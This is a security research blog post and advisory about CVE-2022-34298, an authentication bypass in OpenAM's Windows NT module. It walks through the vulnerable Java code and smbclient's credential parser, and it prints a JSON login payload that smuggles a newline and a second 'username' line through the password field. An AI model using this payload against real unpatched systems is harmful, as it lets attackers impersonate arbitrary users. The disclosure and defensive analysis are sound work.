1x Enterprise IAM vs 1x Slanty Boi

OpenAM CVE-2022-34298

As part of our Attack Surface Management capabilities delivered through the watchTowr Platform, we perform zero-day vulnerability research in prevalent technology that we see across the attack surfaces of our clients. This enables proactive defense for organisations leveraging the watchTowr Platform, and gives forward visibility of vulnerabilities while we liaise with vendors and projects to have identified vulnerabilities remediated.

Today, I'd like to share one such vulnerability - an authentication bug in OpenAM's "Windows NT" module, which can be leveraged by an attacker to impersonate any user they choose. For those in a hurry, there's PoC code available here which you can use to quickly assess the status of your installation.

The OpenAM project resolved this vulnerability, with a public patch on June 16th 2022 - assigning CVE identifier CVE-2022-34298.

Commercial products which share a codebase with OpenAM are "highly likely" to be impacted by this bug. watchTowr has decided the most appropriate course of action is to release an advisory to the public, given the ease of exploitation, and the the availability of a patch for OpenAM. watchTowr is committed to responsible disclosure, and has contacted  vendors of potentially-affected software prior to public release of an advisory to ensure they are in a good position to secure their products. We are awaiting a response.

Background


I was initially attracted to OpenAM as a target due to its privileged position in the organisations we look after, acting as 'the gatekeeper' of authentication and authorization for many services. OpenAM is an 'access management' platform, allowing users to authenticate via a variety of means (such as Active Directory, or OpenID) . Once users log in to OpenAM, they are granted a session which permits access to other resources. It typically allows users to authenticate to one central location, and grants tokens which will then allow access to resources that user is permitted to access - perhaps an internal wiki, bugtracker, or network resource.

A cursory search finds an excellent writeup from 2021 for CVE-2021-35464, a pre-authentication deserialization vulnerability, further justifying our attention to this important target.

Authentication is via HTTP (or, more usually, HTTPS) POST request, with a JSON-encapsulated payload. A request for the login URL gives us a session token, 'authID', which we can then use to POST credentials to the same endpoint. Here's what a login request looks like (formatted for your convenience):

{
	"authId":"<omitted for brevity>",
	"template":"",
	"stage":"DataStore1",
	"header":"Sign in to OpenAM",
	"infoText":["",""],
	"callbacks":[
	{
		"type":"NameCallback",
		"output":[{"name":"prompt","value":"User Name:"}],
		"input":[{"name":"IDToken1","value":"aaa"}]},
		{
			"type":"PasswordCallback",
			"output":[{"name":"prompt","value":"Password:"}],
			"input":[{"name":"IDToken2","value":"bbb"}]
		}
	]
}
Example login request

This is quite verbose, because OpenAM is flexible in authentication schemes which require different forms of secret (for example, a TOTP request only requires one field rather than two, or an SSH keypair challenge might require the challenge to be presented). All that's required here is a username and a password. In this example, we've used the username "aaa" and the password "bbb".

Bughunting


One of the first things I like to look for when I audit are points where the target application executes a third-party binary. While these points often yield easy-to-exploit command injection vulnerabilities, there is also a deeper reason for paying particular attention to this part of the code - the boundary between two development teams that it represents. I've often found that the disconnect between two projects, or even between two teams in the same company, can give rise to two different sets of assumptions about a problem. When these two sets of assumptions mix, conflicts can occur and bugs can be created.

In this case, I found the following code in openam-authentication/openam-auth-nt/src/main/java/com/sun/identity/authentication/modules/nt/NT.java (edited for clarity):

	tmpFile = File.createTempFile(userName,"pwd");
	FileOutputStream fw = new FileOutputStream(tmpFile);
	OutputStreamWriter dos = new OutputStreamWriter(fw, "ISO-8859-1");
	dos.write("username = " + userName + "\n");
	dos.write("password = " + userPassword);
	dos.flush();
	dos.close();
	fw.close();
	
	Runtime rt = Runtime.getRuntime();
	int c;
	StringBuilder buftxt = new StringBuilder(80);

	String[] progarr = new String[7]; // Some code removed here for clarity
	progarr[0] = smbPath;
	progarr[1] = "-W";
	progarr[2] = domain;
	progarr[3] = "-L";
	progarr[4] = host;
	progarr[5] = "-A";
	progarr[6] = tmpFile.getAbsolutePath();

	Process smbconn = rt.exec(progarr);

	BufferedReader smbout = new BufferedReader(
    	new InputStreamReader(smbconn.getInputStream(), charSet));
	while ((c= smbout.read()) > -1) {
		char chtxt = ((char)c);
		buftxt.append(chtxt);
	}
	smbout.close();
	String out = buftxt.toString();

	if (out.indexOf ("Usage:") != -1) {
		// Code to deny login omitted for clarity
	} else if(out.indexOf("failed") != -1) {
		// Code to deny login omitted for clarity
	} else if (out.indexOf ("timeout") != -1) {
		// Code to deny login omitted for clarity
	} else {
		int exitValue = smbconn.waitFor();
		if (exitValue != 0) {
			// Code to deny login omitted for clarity
		}
		userTokenId = userName;
		return ISAuthConstants.LOGIN_SUCCEED;
	}
Authentication code!

Although verbose, this code is straightforward - given a username and password, it will execute smbclient, passing it the -W argument to specify the workgroup (or domain) to authenticate against. It avoids passing the username and password via the command prompt - a wise decision to avoid potential command injection attacks - and instead places them in a temporary file, specified by the -A argument. Once all this is prepared, smbclient is executed and the return code examined, and the login is permitted or denied based on this.

The bug itself


After some time attempting to inject into the commandline, I shifted my attention to injecting into the temporary authentication file created above. I initially attempted to inject a newline into the password field, only to be met with this puzzling response:

{
	"code":400,
	"reason":"Bad Request","message":"Illegal unquoted character ((CTRL-CHAR,
code 13)): has to be escaped using backslash to be included in string
value\n at [Source: (BufferedReader); line: 1, column: 752]"
}
A bad request?!

During my initial investigation I assumed this was part of some filtering system, but I soon realised this was not the case. Notice how the above code uses an OutputStreamWriter:

	OutputStreamWriter dos = new OutputStreamWriter(fw, "ISO-8859-1");
	dos.write("username = " + userName + "\n");
	dos.write("password = " + userPassword);
Use of an OutputStreamWriter

This OutputStreamWriter will helpfully convert escape sequences, like the "\n" above, into literals. This allows us to embed an "\n" of our own, performing a POST request such as the following:

{
	"authId":"<omitted for brevity>",
	"template":"",
	"stage":"DataStore1",
	"header":"Sign in to OpenAM",
	"infoText":["",""],
	"callbacks":[
	{
		"type":"NameCallback",
		"output":[{"name":"prompt","value":"User Name:"}],
		"input":[{"name":"IDToken1","value":"aliz"}]},
		{
			"type":"PasswordCallback",
			"output":[{"name":"prompt","value":"Password:"}],
			"input":[{"name":"IDToken2","value":"aaaa\nbbbb"}]
		}
	]
}
Injecting a newline

Once the OutputStreamWriter expands the "\n", it generates a configuration file that looks like this.

username = aliz
password = aaaa
bbbb

It's clear something interesting is happening here. Now that we've generated a malformed configuration file, the next step is to work out how to use this to our advantage.

Exploitation


Examining the manpage for smbclient reveals that the authentication file can contain three fields - a username, a password, and a domain. My initial idea for exploitation was to inject my own domain name, causing authentication to take place against a malicious server that would then permit any login. However, experimentation revealed that the domain in the authentication file is ignored when a domain is provided on the commandline. Back to the drawing board!

The next port of call was the smbclient source code itself, as I wondered if there was any strange behaviour that could help me leverage the bug into something worthwhile. After some digging, I found it in the function "cli_credentials_parse_file":

_PUBLIC_ bool cli_credentials_parse_file( ... )
{
	uint16_t len = 0;
	char *ptr, *val, *param;
	char **lines;
	int i, numlines;
	const char *realm = NULL;
	const char *domain = NULL;
	const char *password = NULL;
	const char *username = NULL;

	lines = file_lines_load(file, &numlines, 0, NULL);

	if (lines == NULL)
	{
		/* fail if we can't open the credentials file */
		d_printf("ERROR: Unable to open credentials file!\n");
		return false;
	}

	for (i = 0; i < numlines; i++) {
		len = strlen(lines[i]);

		if (len == 0)
			continue;

		/* break up the line into parameter & value.
		 * will need to eat a little whitespace possibly */
		param = lines[i];
		if (!(ptr = strchr_m (lines[i], '=')))
			continue;

		val = ptr+1;
		*ptr = '\0';

		/* eat leading white space */
		while ((*val!='\0') && ((*val==' ') || (*val=='\t')))
			val++;

		if (strwicmp("password", param) == 0) {
			password = val;
		} else if (strwicmp("username", param) == 0) {
			username = val;
		} else if (strwicmp("domain", param) == 0) {
			domain = val;
		} else if (strwicmp("realm", param) == 0) {
			realm = val;
		}

		/*
		 * We need to readd '=' in order to let
		 * the strlen() work in the last loop
		 * that clears the memory.
		 */
		*ptr = '=';
	}

	if (realm != NULL && strlen(realm) != 0) {
		/*
		 * only overwrite with a valid string
		 */
		cli_credentials_set_realm(cred, realm, obtained);
	}

	if (domain != NULL && strlen(domain) != 0) {
		/*
		 * only overwrite with a valid string
		 */
		cli_credentials_set_domain(cred, domain, obtained);
	}

	if (password != NULL) {
		/*
		 * Here we allow "".
		 */
		cli_credentials_set_password(cred, password, obtained);
	}

	if (username != NULL) {
		/*
		 * The last "username" line takes preference
		 * if the string also contains domain, realm or
		 * password.
		 */
		cli_credentials_parse_string(cred, username, obtained);
	}

	for (i = 0; i < numlines; i++) {
		len = strlen(lines[i]);
		memset(lines[i], 0, len);
	}
	talloc_free(lines);

	return true;
}

This verbose but easy-to-read code reveals the undocumented 'realm' option, which doesn't help us but hints that the function holds some secrets. Indeed, this parsing code has an important property that facilitates our exploitation - not a bug, as such, but a tolerance for malformed input. Can you spot it?

The property I speak of is the function's willingness to accept duplicated key values. If we supply the same argument more than once, the first instance will be ignored, and the final value will be used. For example, consider the following auth file:

username = aliz
password = test
username = attacker

Who will smbclient authenticate given this file? The user 'attacker', of course, as it parses and overwrites the first username 'aliz'. This is the critical property for us that permits exploitation - it effectively allows us to alter the name of the user being authenticated.

Going back to our target application, let's inject a second 'username' configuration via the password field.

{
	"authId":"<omitted for brevity>",
	"template":"",
	"stage":"DataStore1",
	"header":"Sign in to OpenAM",
	"infoText":["",""],
	"callbacks":[
	{
		"type":"NameCallback",
		"output":[{"name":"prompt","value":"User Name:"}],
		"input":[{"name":"IDToken1","value":"aliz"}]},
		{
			"type":"PasswordCallback",
			"output":[{"name":"prompt","value":"Password:"}],
			"input":[{"name":"IDToken2","value":"aaaa\nusername = attacker"}]
		}
	]
}
Attack payload

OpenAM will receive this, and note that the user it is authenticating is 'aliz'. It will then dutifully create the authentication file for smbclient, containing the following:

username = aliz
password = aaaa
username = attacker

smbclient, however, will then authenticate the 'attacker' user against AD. Assuming the authentication succeeds, it will return success, which will be received by OpenAM, which will mark the authentication for 'aliz' as successful, and the login will succeed.

Conclusion


This is a nasty bug, partly due to the ease of exploitation. The only consolation for defenders is that it affects only the 'Windows NT' plugin. Unfortunately, however, it seems to have been present for a long time - the NT.java file itself hasn't been touched since 2012 (just after the OpenAM 10.0.0 release), when it was subject to code re-organisation, although perhaps there was once filtering in place elsewhere preventing the attack.

While the 'root cause', the real bug here, is obviously the ability to inject control characters into the authentication file, it should be noted that smbclient's willingness to accept a malformed authentication file aids exploitation. Perhaps some hardening of this function is possible, although (as with any software) the benefits must be weighed carefully against the possibility of breaking existing systems by the samba team. One other interesting attribute of the smbclient cli_credentials_parse_file function is that it will also ignore malformed lines, ie, those beginning with tokens other than those recognised. I do wonder if this behaviour helped conceal the underlying OpenAM bug so far - one can imagine a researcher fuzzing OpenAM, and injecting backslashes, only to be met with no error condition and thus missing the bug. If smbclient detected this condition and returned an error message, and if OpenAM logged this error message, the potential for a malformed file may have been discovered previously.

Interestingly, the original bug class I set out to find here, a command injection, isn't possible. If this bug hadn't been adjacent to something that called my attention, I could have missed it. In future, I will be closely scrutinising configuration file creation for injection attacks.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.

Timeline

Date Detail
15th June 2022 Vulnerability discovered
15th June 2022 Requested security contact for OpenAM project
16th June 2022 Received security contact, disclosed to OpenAM project
16th June 2022 watchTowr hunts through client's attack surfaces for impacted systems, communicates with those affected.
16th June 2022 watchTowr communicates advisory details to all clients, including suggested mitigation steps and PoC (if affected).
16th June 2022 OpenAM project acknowledges validity of report, begins work on fix
21st June 2022 OpenAM project assign a CVE and release fix in version 14.6.6
1st July 2022 Blogpost and PoC released to public